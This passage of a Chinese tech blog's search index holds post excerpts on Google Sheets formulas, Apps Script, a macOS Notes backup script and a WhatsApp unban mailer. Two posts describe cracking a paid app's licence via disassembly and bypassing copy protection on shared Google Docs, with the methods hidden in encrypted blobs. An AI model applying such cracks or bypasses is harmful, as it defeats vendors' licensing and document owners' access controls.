读取电子表格","feature":"https://dev-coco.github.io/post-images/Google-Script-Read-Spreadsheet.jpg","link":"https://dev-coco.github.io/post/Google-Script-Read-Spreadsheet/","stats":{"text":"1 min read","time":48000,"words":220,"minutes":1},"date":"2022-07-10 08:53:03","dateFormat":"2022-07-10"},{"content":"基本的界面介绍。 侧边栏 鼠标放在侧边栏上等待一会后会显示完整的侧边栏内容。 概览 当前 Google 脚本项目的详细信息。 编辑器 ① 命名 Google 脚本项目的名称。 ② 撤销编辑的内容。 ③ 重做编辑的内容。 ④ 保存当前编辑的内容。 ⑤ 运行选中的函数,会自动保存所有的内容。 ⑥ 选择待运行的函数。 ⑦ 点击后会在下面显示运行后输出的日志。 ⑧ 添加文件,重命名文件名;添加第三方脚本库;添加服务。 ⑨ 部署和管理服务。 触发器 用来添加触发器来执行函数,并且显示函数的运行的详细信息。 脚本执行 查看每个函数执行的时间和状态以及日志。 项目设置 一些进阶的设置项目。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本 界面介绍","feature":"https://dev-coco.github.io/post-images/Google-Script-Interface-Introduction.jpg","link":"https://dev-coco.github.io/post/Google-Script-Interface-Introduction/","stats":{"text":"1 min read","time":44000,"words":219,"minutes":1},"date":"2022-07-08 17:02:15","dateFormat":"2022-07-08"},{"content":"数组可以包含任意数据类型,并且通过索引来获取元素。 定义数组 使用中括号 [] 定义数组。 数值中的每个值使用逗号间隔。 例子: ['a', 'b', 'c', 'd', 'e', 'f', 'g'] 数组元素个数 length 属性可以查看数组的长度。 例子: const arr = ['a', 'b', 'c', 'd', 'e', 'f', 'g'] console.log(arr.length) // 预期输出:7 数组取值 根据下标取值,下标为数字,下标从 0 开始。 const arr = ['a', 'b', 'c', 'd', 'e', 'f', 'g'] console.log(arr[0]) // 预期输出:a console.log(arr[1]) // 预期输出:b console.log(arr[2]) // 预期输出:c 因为下标是从 0 开始的,那么 arr[0] 取的就是数组中第一个值,也就是 a 字符串。 写入数组 使用 push() 可以将一个或者多个元素提那件到数组的末尾。 例子: const arr = ['a', 'b', 'c', 'd', 'e', 'f', 'g'] arr.push('h') arr.push('i') console.log(arr) // 预期输出:Array ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i'] 二维数组 二维数组是以数组作为元素的数组,简单的说就是数组的数组,同时数组的长度一致。 例子: [ ['a', 'b', 'c', 'd'], ['e', 'f', 'g', 'h'], ['i', 'j', 'k', 'l'] ] 在 Google 表格中数据是以二维数组的方式储存的,下面用一张形象的图来理解二维数组的结构。 ","tags":[{"name":"Javascript","slug":"javascript","used":true,"link":"https://dev-coco.github.io/tag/javascript/"},{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"初识数组","feature":"","link":"https://dev-coco.github.io/post/Understand-Array/","stats":{"text":"2 min read","time":83000,"words":337,"minutes":2},"date":"2022-07-05 13:32:02","dateFormat":"2022-07-05"},{"content":"❄️ 为你的夏日带去清凉! !function (e) { function r(r) { for (var n, u, a = r[0], c = r[1], l = r[2], s = 0, p = []; s < a.length; s++)u = a[s], Object.prototype.hasOwnProperty.call(o, u) && o[u] && p.push(o[u][0]), o[u] = 0; for (n in c) Object.prototype.hasOwnProperty.call(c, n) && (e[n] = c[n]); for (f && f(r); p.length;)p.shift()(); return i.push.apply(i, l || []), t() } function t() { for (var e, r = 0; r < i.length; r++) { for (var t = i[r], n = !0, a = 1; a < t.length; a++) { var c = t[a]; 0 !== o[c] && (n = !1) } n && (i.splice(r--, 1), e = u(u.s = t[0])) } return e } var n = {}, o = { 1: 0 }, i = []; function u(r) { if (n[r]) return n[r].exports; var t = n[r] = { i: r, l: !1, exports: {} }; return e[r].call(t.exports, t, t.exports, u), t.l = !0, t.exports } u.e = function (e) { var r = [], t = o[e]; if (0 !== t) if (t) r.push(t[2]); else { var n = new Promise((function (r, n) { t = o[e] = [r, n] })); r.push(t[2] = n); var i, a = document.createElement(\"script\"); a.charset = \"utf-8\", a.timeout = 120, u.nc && a.setAttribute(\"nonce\", u.nc), a.src = function (e) { return u.p + \"static/js/\" + ({}[e] || e) + \".\" + { 3: \"b168f68f\" }[e] + \".chunk.js\" }(e); var c = new Error; i = function (r) { a.onerror = a.onload = null, clearTimeout(l); var t = o[e]; if (0 !== t) { if (t) { var n = r && (\"load\" === r.type ? \"missing\" : r.type), i = r && r.target && r.target.src; c.message = \"Loading chunk \" + e + \" failed.\\n(\" + n + \": \" + i + \")\", c.name = \"ChunkLoadError\", c.type = n, c.request = i, t[1](c) } o[e] = void 0 } }; var l = setTimeout((function () { i({ type: \"timeout\", target: a }) }), 12e4); a.onerror = a.onload = i, document.head.appendChild(a) } return Promise.all(r) }, u.m = e, u.c = n, u.d = function (e, r, t) { u.o(e, r) || Object.defineProperty(e, r, { enumerable: !0, get: t }) }, u.r = function (e) { \"undefined\" != typeof Symbol && Symbol.toStringTag && Object.defineProperty(e, Symbol.toStringTag, { value: \"Module\" }), Object.defineProperty(e, \"__esModule\", { value: !0 }) }, u.t = function (e, r) { if (1 & r && (e = u(e)), 8 & r) return e; if (4 & r && \"object\" == typeof e && e && e.__esModule) return e; var t = Object.create(null); if (u.r(t), Object.defineProperty(t, \"default\", { enumerable: !0, value: e }), 2 & r && \"string\" != typeof e) for (var n in e) u.d(t, n, function (r) { return e[r] }.bind(null, n)); return t }, u.n = function (e) { var r = e && e.__esModule ? function () { return e.default } : function () { return e }; return u.d(r, \"a\", r), r }, u.o = function (e, r) { return Object.prototype.hasOwnProperty.call(e, r) }, u.p = \"./\", u.oe = function (e) { throw console.error(e), e }; var a = this[\"webpackJsonpair-conditioner\"] = this[\"webpackJsonpair-conditioner\"] || [], c = a.push.bind(a); a.push = r, a = a.slice(); for (var l = 0; l < a.length; l++)r(a[l]); var f = c; t() }([]) ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"便携小空调","feature":"","link":"https://dev-coco.github.io/post/Air-Conditioner/","stats":{"text":"4 min read","time":193000,"words":521,"minutes":4},"date":"2022-07-04 20:43:29","dateFormat":"2022-07-04"},{"content":"一个本地快速备份和恢复备份备忘录的工具。 这是一个使用 Apple Script 写的备份工具,点击下载。 源码如下: set Features to choose from list {"备份", "恢复备份"} with title "备忘录备份工具" with prompt "请选择" do shell script "killall -9 Notes &> /dev/null &" with administratorprivileges if the Features is {"备份"} then do shell script "rm -rf ~/Desktop/Notes_Backup && mkdir ~/Desktop/Notes_Backup && cp -f ~/Library/Group\\\\ Containers/group.com.apple.notes/NoteStore.sqlite* ~/Desktop/Notes_Backup" with administratorprivileges display dialog "备份完成" buttons {"完成"} else if Features is {"恢复备份"} then do shell script "cp -f ~/Desktop/Notes_Backup/* ~/Library/Group\\\\ Containers/group.com.apple.notes" with administratorprivileges display dialog "恢复备份完成" buttons {"完成"} end if 运行后,选择备份功能,然后点击好。 然后会在桌面出现一个 Notes_Backup 文件夹。 里面是备忘录备份的文件,可以将一整个文件夹都保存好。 如果需要恢复备份,将 Notes_Backup 文件夹放在桌面,再次运行 Apple Script,当提示恢复备份完成时,就说明已经恢复好备份了。 ","tags":[{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"macOS 备忘录备份工具","feature":"","link":"https://dev-coco.github.io/post/macOS-Backup-Notes/","stats":{"text":"2 min read","time":77000,"words":285,"minutes":2},"date":"2022-06-30 13:04:23","dateFormat":"2022-06-30"},{"content":"Google 脚本是一种基于 Javascript 的编码语言,全称 Google Apps Script,简称为 GAS。 作用 例如要在一个表格里面大量的创建表格,备份数据,就需要手动一个一个的去操作,那么使用 Google 脚本就可以自动化的操作,节省大量的时间。也可以设置定时任务,每天按照设置的时间自动化运行。当然目前只是举了一些例子,Google 脚本还有更多的功能。 常见类型 绑定 Google 应用 网络应用 绑定 Google 应用 绑定到对应的 Google 应用,例如文档、表格、云端、日历、表单等等。在 Google 应用内点击扩展程序,选择 Apps 脚本,这样就创建好绑定 Google 应用的脚本了。如果从其它渠道创建 Google 脚本就不会绑定 Google 应用。 网络应用 Google 脚本可以发布为 Web 网络应用,并且通过浏览器来访问,就像用户访问网页一样,并且可以操作 Google 应用,例如修改文档、表格等等。绑定 Google 应用的脚本可以转换为网络应用。网络应用必须包含 doGet() 或者 doPost(),相当于 HTTP GET 和 HTTP POST。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本介绍","feature":"https://dev-coco.github.io/post-images/Google-Script-Introduce.jpg","link":"https://dev-coco.github.io/post/Google-Script-Introduce/","stats":{"text":"2 min read","time":66000,"words":312,"minutes":2},"date":"2022-06-25 13:13:57","dateFormat":"2022-06-25"},{"content":"SmoothScroll 是一款为非苹果原装鼠标滚轮提供平滑滚动的工具。 staticrypt-form{background:#fff;max-width:360px;margin:0 auto;padding:45px;text-align:center;box-shadow:0 0 20px 0 rgba(0,0,0,.2),0 5px 5px 0 rgba(0,0,0,.24)}.staticrypt-form input{background:#f2f2f2;width:100%;margin:0 0 15px;padding:15px;box-sizing:border-box;font-size:14px}.staticrypt-form .staticrypt-decrypt-button{background:#4caf50;width:100%;padding:15px;color:#fff;font-size:14px} 官网地址:https://www.smoothscroll.net/mac/ 软件有免费 21 天的试用期,过了试用期后仍然可以使用,不过会一直收到购买许可证的提示。官方一年订阅的价格是 $11.98 美元。 把 SmoothScroll 的主程序拖到 Hopper Disassembler 里进行逆向分析。 请输入密码后查看 下面是成功激活的截图: var a=256,b=1e3;function c(c,d){var e=CryptoJS.enc.Hex.parse(c.substr(0,32)),f=CryptoJS.enc.Hex.parse(c.substr(32,32)),g=c.substring(64),h=CryptoJS.PBKDF2(d,e,{keySize:a/32,iterations:b}),i=CryptoJS.AES.decrypt(g,h,{iv:f,padding:CryptoJS.pad.Pkcs7,mode:CryptoJS.mode.CBC}).toString(CryptoJS.enc.Utf8);return i}document.getElementById(\"staticrypt-form\").addEventListener(\"submit\",function(e){e.preventDefault();var a=document.getElementById(\"staticrypt-password\").value,b=\"eec0cf7b9c84ea80ee113e8eb7f9b96f5fdbdf686d93b2877f6551f441786e7d4455cc9a4f7a9ba160f5929ec90160442e3330563aa8abb848ee4b7e5f08ac3fVSQ+9yy0HtOhDhK8MxgGPv8ODQ34fdoEB7yVJKMYAZqDB4+ENa6IsuBDoGHOJ8a8IurdeZ08TNDM0BnBIGK+M3U7i84+zSJGlt5+zF0nkL/v5f2LmWr0ntYBK8jqfWYhGdlHo5bowa12QyufZaKMD34mU3MF86wumtHVq1jnvxZj5nc3VXwYK5Vb8rpOnBzt86JCviZPFfowNkAnt8+FDtGevvUEsQMY15FxuJ9YyttVLNb5OIArv13JOzjSJYQyik4wMBF2Q0+G5DN6X2BiYznLVxnu2J3qCZvfR72JcjN8OOcVLIT/cN9rvxbkds45iIKO3qqFwHjnLN8EBFKuhHcmanBmd0hdvKWHTs4XJCGRKd2Ok3mZUenQuiK5HC5ino4SK/L9DRcuIlbAKhK9LwcOjZdt1xCvZCu0UzYmAEe8ZoPRnhyN0j2n6V7EcPpi55KiClUBsvfGW7Bv10H3g0QEX9hodF2b0Mm94IIit/3mBlqkXVh1cW8EwEDJw/Xh58ABjxQMPceSl5S9H0yVMnMt4UXBuCKA5/Ltj/zqBb0yg/GXrInh3GkK+wluEzERXstPY4EL/dlGq4jP7YLqLw==\",f=b.substring(0,64),d=b.substring(64),g=CryptoJS.HmacSHA256(d,CryptoJS.SHA256(a).toString()).toString();if(g!==f){alert(\"Wrong Password!\");return}var h=c(d,a);document.getElementById(\"article\").innerHTML=h}) ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"SmoothScroll 免费激活码","feature":"","link":"https://dev-coco.github.io/post/SmoothScroll-Free-License/","stats":{"text":"2 min read","time":103000,"words":325,"minutes":2},"date":"2022-06-22 18:55:03","dateFormat":"2022-06-22"},{"content":"再也不怕被修改表格名称,跨表获取不到数据啦! 使用 IMPORTRANGE 函数跨表引用数据的时候,有时候会遇到表格名称被修改,导致提示 #REF! 错误。因为 IMPORTRANGE 函数的参数是文本类型,所以无法根据表格名称的变化而正确的获取到最新的表格名称。 解决方法 建立一个辅助表,然后分表引用一个单元格,例如:='工作表1'!A1。 使用下面的公式可以从引用的单元格识别出单元格的名称。 =IF(TODAY() < TRUE, REGEXREPLACE(FORMULATEXT(A1), "...$|[=']", "")) 先来拆分出来理解一下这个公式运行的过程。 首先运行的是 FORMULATEXT(A1),使用 FORMULATEXT 函数以文本的格式输出单元格内的公式。 使用 REGEXREPLACE 函数对表格名称以外的字符进行替换,正则表达式 语法 …$|[='],获取 = 和 ' 符号,还有末尾三位的 !A1,然后替换成空值。这样就得到了表格名称。 虽然现在已经获取到了表格名称,但是还不完善,现在获取到的数据是静态的,也就是说当修改了分表的名称的时候,公式并不会更新表格的名称,需要再次编辑单元格才会更新。 使用易失函数达到动态更新的效果,因为使用易失函数后,在表格内修改任意一个单元格后,会引起所有相关公式重新计算。 使用 TODAY 函数做一个判断,例如 TODAY() < TRUE,返回值是 TRUE,因为布尔型的值要比其它 数据类型 都要大。 用 IF 函数做一个判断,判断结果为 TRUE,返回获取表格名称的公式,这样在修改表格的时候,就会更新表格的名称了。 最后使用 IMPORTRANGE 跨表引用辅助表里面的表格名称,即使在分表修改了名称,也会同步更新。 =IMPORTRANGE("SheetID", IMPORTRANGE("SheetID", "辅助表!B1")&"!A:A") ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 动态获取表格名称","feature":"https://dev-coco.github.io/post-images/Dynamic-Sheet-Name.png","link":"https://dev-coco.github.io/post/Dynamic-Sheet-Name/","stats":{"text":"2 min read","time":112000,"words":524,"minutes":2},"date":"2022-06-19 21:38:27","dateFormat":"2022-06-19"},{"content":"A submission tool to unbanned WhatsApp accounts in batch and quickly. Open Source: https://github.com/dev-coco/WhatsApp-Batch-Unbanned-Tool Configuration code.gs /** * 设置存储数据的表格 * TODO: 需要放入表格 ID */ const sheet = SpreadsheetApp.openById('Input Sheet ID') // 存放剩余次数,表格默认命名为 Data const getSheetData = sheet.getSheetByName('Data').getRange('A1') // 存放解封结果,表格默认命名为 Result const getResultSheet = sheet.getSheetByName('Result') Replace the "Input Sheet ID" with the Google sheet ID. Two spreadsheet are needed, one named Data to storage the remaining counts and the other named Result to storage the successful unbanned information. The template variable in the unBlockTemplate function puts in the content that needs to be unbanned by writing a letter and puts in the phone variable, which supports ES6 features. Example: /** * @description 随机生成写信的模板 * @param {string} phone - 写信模版 * @returns {string} 生成好的模板 */ function unBlockTemplate (phone) { // TODO: 需要设置写信的模版,并且放入 phone 变量 const template = [ 'Hello!\\nXXXXXXXX. My number: ' + phone, `XXXXXXXX. My WhatsApp: ${phone}` ] // 生成随机数 const index = Math.floor((Math.random() * template.length)) return template[index] } In the sendEmail function, need to replace "Input Email Title" with the title of the email you need to write and unbanned. /** * 发送邮件 * TODO: 需要设置发送邮件的标题 */ MailApp.sendEmail('support@support.whatsapp.com', 'Input Email Title', unBlockTemplate(phone)) index.html In the CSS body style, the background image is from rawpixel Premium User: Link, License. If you are not a rawpixel Premium user, please replace the image yourself to avoid copyright issues. body { /* Image from rawpixel premium Please follow the license: https://www.rawpixel.com/services/licenses */ background: url("https://dev-coco.github.io/images/Project/image-from-rawpixel-id-2042508-jpeg.jpg"); height: 100vh; width: 100vw; position: relative; background-size: cover; background-repeat: no-repeat; display: grid; justify-items: center; align-items: center; } Google Sheet Create a Google Sheet, click Extensions in the menu bar, and select Apps Script. Put the code inside the code.gs. Then click (➕) the plus sign to create a new HTML file. Name the file index and put the code from index.html file. Click Deplay in the upper right corner and select New deployment. Once the deployment is complete, it is ready to use. Trigger Select Trigger on the left. Click Add Trigger in the lower right corner. Choose which function to run, here select resetData. Select hour interval, I would recommended to set it to every hour. How's work The unbanned tool sends an email to WhatsApp with the number submitted and records the number of uses remaining. When WhatsApp finishes reviewing the number, a receipt will be sent to the mailbox, and if it is successfully unbanned, it records the number in a Google Sheet. When the unbanned tool checks the status of the number, it will check if there is a successfully unbanned number in the Google Sheet. How to use Enter the WhatsApp number, one per line, in the format: +[area code]XXXXXXX, like +1234567890, and click Send. WhatsApp will probably process the submission within 24 hours. Due to Google Mail usage limits, only 100 messages can be sent a day. Enter the number and click "query". If it shows "已解封", it means the account is back to normal and you can login and use it, if it shows "未解封", it means WhatsApp still banned this account. ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"},{"name":"WhatsApp","slug":"whatsapp","used":true,"link":"https://dev-coco.github.io/tag/whatsapp/"}],"title":"WhatsApp batch recover banned","feature":"https://dev-coco.github.io/post-images/WhatAapp-Batch-Recover-Banned.png","link":"https://dev-coco.github.io/post/WhatAapp-Batch-Recover-Banned/","stats":{"text":"4 min read","time":218000,"words":631,"minutes":4},"date":"2022-06-14 21:20:38","dateFormat":"2022-06-14"},{"content":"一个批量快速解封 WhatsApp 账号的提交工具。 开源代码:https://github.com/dev-coco/WhatsApp-Batch-Unbanned-Tool 配置 code.gs /** * 设置存储数据的表格 * TODO: 需要放入表格 ID */ const sheet = SpreadsheetApp.openById('Input Sheet ID') // 存放剩余次数,表格默认命名为 Data const getSheetData = sheet.getSheetByName('Data').getRange('A1') // 存放解封结果,表格默认命名为 Result const getResultSheet = sheet.getSheetByName('Result') 需要将替换 “Input Sheet ID” 替换成 Google 表格的 ID。需要用到两个工作表,一个命名为 Data,用来存放剩余次数,另外一个命名为 Result,用来存放成功解封的信息。 在 unBlockTemplate 函数中的 template 变量放入需要写信解封的内容,并且放入 phone 变量,支持 ES6 写法。例子: /** * @description 随机生成写信的模板 * @param {string} phone - 写信模版 * @returns {string} 生成好的模板 */ function unBlockTemplate (phone) { // TODO: 需要设置写信的模版,并且放入 phone 变量 const template = [ 'Hello!\\nXXXXXXXX. My number: ' + phone, `XXXXXXXX. My WhatsApp: ${phone}` ] // 生成随机数 const index = Math.floor((Math.random() * template.length)) return template[index] } 在 sendEmail 函数中需要将 “Input Email Title” 替换成需要写信解封的邮件标题。 /** * 发送邮件 * TODO: 需要设置发送邮件的标题 */ MailApp.sendEmail('support@support.whatsapp.com', 'Input Email Title', unBlockTemplate(phone)) index.html 在 CSS 的 body 样式中,background 设置的图片来源于 rawpixel 高级用户:链接,许可证。 如果你不是 rawpixel 高级用户,请自行替换图片,避免出现版权问题。 body { /* Image from rawpixel premium Please follow the license: https://www.rawpixel.com/services/licenses */ background: url("https://dev-coco.github.io/images/Project/image-from-rawpixel-id-2042508-jpeg.jpg"); height: 100vh; width: 100vw; position: relative; background-size: cover; background-repeat: no-repeat; display: grid; justify-items: center; align-items: center; } Google 表格 创建一个 Google 表格,在菜单栏点击扩展程序,选择 Apps 脚本。 在 代码.gs 中放入 code.gs 文件内的代码。然后点击 (➕) 加号,新建一个 HTML 文件。 文件名字命名为 index,再放入 index.html 文件内的代码。 点击右上角的部署,再选择新建部署。 点击齿轮 (⚙️),选择 Web 应用。 部署完成后就可以正常使用了。 定时任务 在左侧选择触发器。 在右下角点击添加触发器。 选择要运行的功能,这里选择 resetData,选择间隔小时数,建议设置为每小时。 程序原理 解封工具提交号码会通过邮箱给 WhatsApp 发送邮件,并且记录剩余的使用次数。当 WhatsApp 审核完成后会发送回执到邮箱,如果成功解封会记录号码到 Google 表格。解封工具查询号码状态的时候,会从表格里面查询是否存在成功解封的号码。 使用方法 输入 WhatsApp 号码,一行一个,格式:+区号XXXXXX,点击发送。提交后 WhatsApp 大概会在 24 小时内处理。由于 Google Mail 的限制,一天只允许发送 100 封邮件。 输入号码,点击查询。如果显示“已解封”代表账号已经恢复正常,可以登录使用了,如果显示未解封代表无法解封。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"},{"name":"WhatsApp","slug":"whatsapp","used":true,"link":"https://dev-coco.github.io/tag/whatsapp/"}],"title":"WhatsApp 批量解封提交工具","feature":"https://dev-coco.github.io/post-images/WhatsApp-Batch-Unbanned-Tool.png","link":"https://dev-coco.github.io/post/WhatsApp-Batch-Unbanned-Tool/","stats":{"text":"4 min read","time":186000,"words":775,"minutes":4},"date":"2022-06-14 21:20:25","dateFormat":"2022-06-14"},{"content":"使用 Google Excel 函数获取 WhatsApp 群组的名称和头像。 获取群组名称 =INDEX(IMPORTXML(A1, "//h3"), 2) 原理分析 先分析网页源码,定位群组名称使用的 HTML 标签和位置。在第二个 h3 标签显示的是群组的名称。 使用 IMPORTXML 函数,用 XPath 语法 //h3 获取网页的 h3 标题。 因为预期的结果是第二个,需要使用 INDEX 函数,获取第二行的内容。 获取群组头像 =IMAGE(INDEX(IMPORTXML(A1, "//img/@src"), 3)) 原理分析 使用 IMPORTXML 函数,用 XPath 语法 //img/@src 获取网页所有 img 标签的 src 属性。 第三行的链接是群组的头像,需要使用 INDEX 函数,获取第三行的内容。 最后再使用 IMAGE 函数显示图片。 ","tags":[{"name":"WhatsApp","slug":"whatsapp","used":true,"link":"https://dev-coco.github.io/tag/whatsapp/"},{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel WhatsApp 相关","feature":"https://dev-coco.github.io/post-images/Google-Excel-About-WhatsApp.jpg","link":"https://dev-coco.github.io/post/Google-Excel-About-WhatsApp/","stats":{"text":"1 min read","time":45000,"words":198,"minutes":1},"date":"2022-06-13 17:16:52","dateFormat":"2022-06-13"},{"content":"从列表中随机获取其中一个值。 列表随机取值 =INDEX(A:A, RANDBETWEEN(1, COUNTA(A:A))) 原理分析 先使用 COUNTA 函数将 A 列的内容进行记数,计算有多少的单元格。 再使用 RANDBETWEEN 函数生成随机数,因为 RANDBETWEEN 属于易失函数,在表格内修改任意一个单元格会引起所有公式重新计算,这样每次都可以随机的生成值。A 列的内容是从第一行开始的,那么最小值就是 1,最大值放入刚才 COUNTA 计算的值,刚好对应的就是第 10 行。使用 COUNTA 函数的好处是可以让数据变成动态的,在 A 列添加内容,COUNTA 函数会自动计算出 A 列的所有单元格的数量,如果用的是静态的数值,那么 A 列要添加或者删减内容的时候,就需要再次调整参数。 使用 INDEX 根据行偏移获取指定的内容。根据 A 列的内容获取偏移行的内容,将刚才写好的公式作为偏移的行数,这样就可以实现从列表中随机取一个值了。 列表根据条件随机取值 在 B 列中随机取值,并且 A 列包含文具。 公式 =INDEX(FILTER(B:B, A:A = "文具"), RANDBETWEEN(1, COUNTIF(A:A, "文具"))) 原理分析 使用 COUNTIF 计算 A 列包含文具的单元格数量。 再使用 RANDBETWEEN 函数生成随机数,放入刚才 COUNTIF 计算的内容。 使用 FILTER 函数筛选出在 A 列包含文具对应的 B 列的内容。 最后使用 INDEX 函数计算偏移函数,将 FILTER 函数计算结果作为 INDEX 函数搜索的内容,再把 RANDBETWEEN 函数计算的结果作为偏移的行数。 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 列表随机取值","feature":"https://dev-coco.github.io/post-images/Google-Excel-Random-Value.jpg","link":"https://dev-coco.github.io/post/Google-Excel-Random-Value/","stats":{"text":"2 min read","time":100000,"words":460,"minutes":2},"date":"2022-06-07 19:29:29","dateFormat":"2022-06-07"},{"content":"绕过限制,复制受保护的 Google 文档或者表格。 staticrypt-form{background:#fff;max-width:360px;margin:0 auto;padding:45px;text-align:center;box-shadow:0 0 20px 0 rgba(0,0,0,.2),0 5px 5px 0 rgba(0,0,0,.24)}.staticrypt-form input{background:#f2f2f2;width:100%;margin:0 0 15px;padding:15px;box-sizing:border-box;font-size:14px}.staticrypt-form .staticrypt-decrypt-button{background:#4caf50;width:100%;padding:15px;color:#fff;font-size:14px} 当 Google 文档或者表格在“与他人共享”设置里面,取消了查看者和评论者可以看到下载、打印和复制选项这个权限。 那么在正常情况下,是无法复制里面的内容,一复制就会出现下图的提示。 运行下面的代码,如果运行一次不行,再运行一次就可以复制里面的内容了。以下的方法同时兼容 Google 文档和表格。 请输入密码后查看 效果如下: var a=256,b=1e3;function c(c,d){var e=CryptoJS.enc.Hex.parse(c.substr(0,32)),f=CryptoJS.enc.Hex.parse(c.substr(32,32)),g=c.substring(64),h=CryptoJS.PBKDF2(d,e,{keySize:a/32,iterations:b}),i=CryptoJS.AES.decrypt(g,h,{iv:f,padding:CryptoJS.pad.Pkcs7,mode:CryptoJS.mode.CBC}).toString(CryptoJS.enc.Utf8);return i}document.getElementById(\"staticrypt-form\").addEventListener(\"submit\",function(e){e.preventDefault();var a=document.getElementById(\"staticrypt-password\").value,b=\"5033050f6ed020b8d5908c84774c30f67fb9f1fe661fe9cc23b4df952b1bc82195801c23ae0405d59052a9f5706304a9bc328cae2c8483c53692273e583516495yXr1vFdhSKTu+W5Aas+wdQXHNYjHW+t633rcagVj0Xq2zeRQMfYGUB/PfydqbCD4i959A6cYW7JHRNvZoat2CpTlLlSI36nPCocD3CQ7fdjSXv2J2+SFJXTyfNgq4jcsdsXeg9O2OJ7YbQIFZnVYQCC2AKr4rZ3Wyp2L8l4rmd0VchACk8Hm4x7JVCfpiD22DgaiBvnQVtp2BinoM+sWT58l+9Y9MxteDMOvAQeavoUdPdYDNW46xI2O7uD6/pp1QInKs8J2p6k9/xpk4/gvi7W8uo3rfDdTj8vPzGvTRJnMzBVIHpHTPfxDNjiUelB6AENRzDNRkM/mOumNGCzVS3KTyYjsi4HFcrXTH3UGEy0Y5Y3AMhEHfr+uUL5QOevxwFIx7SIZTxYV6QnoZw066JqRYVUjdMAb2SKJNbNy76M8nSNsZIiHk9e3e6epIKRYgO4Mg3SR9rMTgrC6qDlINKWgMB5yikpqdNwquLJ5hngWycfstXk4xx0V3uqQeRXL5+WzZc0t19cU2X2JNSabizr9FV2gqzLWFEQ9L8e90YPFLTFKFDvryTXPOfi8h37SuXvJ2fbPT1UK49dgE4SgYkRwcfXu+dJGW0B6I7vOKjwW7m4GcjPyV4WU7/BPoMLqtz+0Jh1k58SZYvW10BkWc4pjeM1tlt9bqONSuJp2T2RAIwHA9RzJp0PTGzpqoi4idAF1kNGveqK6wT34RlMbeWuRCy1A4lVVceag98mNG9RUe+klusLQzhtcxSIJgvwNLD2dHco39deRG7AMgsV2M1uwR9AyZqdiYpONH1tKb4M2iCPRBb9sH0CGudjQVUId8GtoaTvbOwoCAsC9Zvfja140gJtOhZWxEbRyCcjcWYEBCKR5NvuML2S3Xv/6bWMqbdoXXExoy++JAChBFa9cRajaIy+OxBKE3YOghNdPBEZ7oVZvBJxlleWkexmbTKKAi1c2V68t96KR1OxUk7Ok6GAgw1Lnh0GF18rKZN9+8c=\",f=b.substring(0,64),d=b.substring(64),g=CryptoJS.HmacSHA256(d,CryptoJS.SHA256(a).toString()).toString();if(g!==f){alert(\"Wrong Password!\");return}var h=c(d,a);document.getElementById(\"article\").innerHTML=h})","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"},{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"复制受保护的 Google 文档或表格","feature":"","link":"https://dev-coco.github.io/post/Copy-Protected-Document-Or-Sheet/","stats":{"text":"2 min read","time":109000,"words":360,"minutes":2},"date":"2022-06-01 13:17:26","dateFormat":"2022-06-01"},{"content":"Mac 电脑无需 HDMI 线,无线连接扩展显示器。 两个设备都需要登录 iCloud 账号,并且开启以下选项。 系统偏好设置 > 共享 > 隔空播放接收器 打开 系统偏好设置 > 显示器 然后在显示器中会看到左下角多了一个添加显示器的选项,选择扩展的显示器。 选择扩展的显示器后,可能会听不到声音,因为有可能会自动改变默认的声音输入和输出。在音频 MIDI 设置里调整。 在显示器中拖动扩展显示器的位置。 显示器设置中可以调整主显示器和扩展显示器的分辨率 全部设置好后,就可以把主显示器中的窗口拖动到扩展显示器中显示了。 ","tags":[{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"使用隔空播放实现双屏显示器","feature":"","link":"https://dev-coco.github.io/post/AirPlay-For-Dual-Monitors/","stats":{"text":"1 min read","time":43000,"words":213,"minutes":1},"date":"2022-05-27 12:41:50","dateFormat":"2022-05-27"},{"content":"Facebook 爱好名称和 ID 列表。 序号 图标 名称 ID 1 ☕ 咖啡烘焙 2003583223089019 2 ☕ 咖啡拉花 2033257976738750 3 ♿ 轮椅竞速 2254256301265670 4 ⚽ 室内五人制足球 2271948502837927 5 ⚽ 桌上足球 2225637600822505 6 ⚽ 足球 1910006509077880 7 ⚽ 盲人足球 2512609928809451 8 ⚾ 棒球 2377832135578546 9 ⚾ 梦幻棒球 2023950034318144 10 ⚾ 垒球 2024557460962423 11 ⛰️ 徒步 2076211102437780 12 ⛰️ 自行车越野 2204618039558428 13 ⛰️ 全地形车骑行 2432368450171092 14 ⛰️ 无障碍徒步 2038851872898193 15 ⛳ 飞盘高尔夫 2078069475619314 16 ⛵ 模型船舶 2046932002017462 17 ⛵ 陆地风帆 1990899887695872 18 ⛵ 航行 2159009590817464 19 ⛷ 滑雪 2553134164698515 20 ⛷ 跳台滑雪 2182426965110360 21 ⛷ 高山滑雪 1937264569692097 22 ⛷ 北欧滑雪 2492727804077742 23 ⛷ 自由式滑雪 1691299514309067 24 ⛷ 越野滑雪 2044617848927805 25 ⛷ 残疾人北欧滑雪 1994367010639247 26 ⛷ 冬季两项 1972075252905854 27 ⛷ 残疾人冬季两项 